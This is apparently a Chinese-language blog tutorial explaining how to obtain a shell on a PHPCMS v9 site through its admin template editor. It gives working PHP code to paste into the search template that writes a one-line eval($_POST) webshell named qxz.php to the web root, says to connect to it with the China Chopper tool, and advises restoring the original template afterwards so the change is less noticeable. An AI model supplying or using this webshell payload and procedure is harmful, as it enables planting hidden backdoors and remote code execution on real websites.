### [phpcms怎么拿shell](https://www.prosaas.cn/article/1763)

**Published:** 2020-07-24T03:22:06

**Author:** 5201314

**Excerpt:** phpcms拿shell的方法：首先登录phpcms后台管理；然后依次点击“界面”->“模板风格”，并点击“详…

> phpcms拿shell的方法：首先登录phpcms后台管理；然后依次点击“界面”->“模板风格”，并点击“详细列表”；接着点击“search”文件夹；最后修改“index.html”，并点击“可视化”即可。

![](//zhiqipro.oss-cn-beijing.aliyuncs.com/2023/12/20231212120225433.jpg)

**记一次phpcms v9后台拿shell过程**

登录进入后台管理后，点击界面，模板风格，然后点击祥细列表，如下图：

推荐：《phpcms教程》

![](//zhiqipro.oss-cn-beijing.aliyuncs.com/2023/12/20231212120225782.png)

然后点击 search 这个文件夹，如下图：

![](//zhiqipro.oss-cn-beijing.aliyuncs.com/2023/12/20231212120225224.png)

然后点击修改 index.html 文件

然后把以下代码复制上去提交。

<?
$fp = @fopen(“qxz.php”, ‘a’);
@fwrite($fp, ‘<‘.’?php’.”\\r\\n\\r\\n”.’eval($\_POST\[hacker\])’.”\\r\\n\\r\\n?”.”>\\r\\n”);
@fclose($fp);
?>

提示：修改前先把原来的代码备份一下，拿到shell后把他改回去。

![](//zhiqipro.oss-cn-beijing.aliyuncs.com/2023/12/20231212120225942.png)

提交后点击可视化一下

![](//zhiqipro.oss-cn-beijing.aliyuncs.com/2023/12/20231212120225865.png)

这样在网站的根目录就生成了你的一句话木马客户端 qxz.php

拿起菜刀链接 http://www.xxx.com/qxz.php

![](//zhiqipro.oss-cn-beijing.aliyuncs.com/2023/12/20231212120225748.png)

以上就是phpcms怎么拿shell的详细内容，更多请关注知企PROSAAS其它相关文章！

**Categories:** PHPCMS

---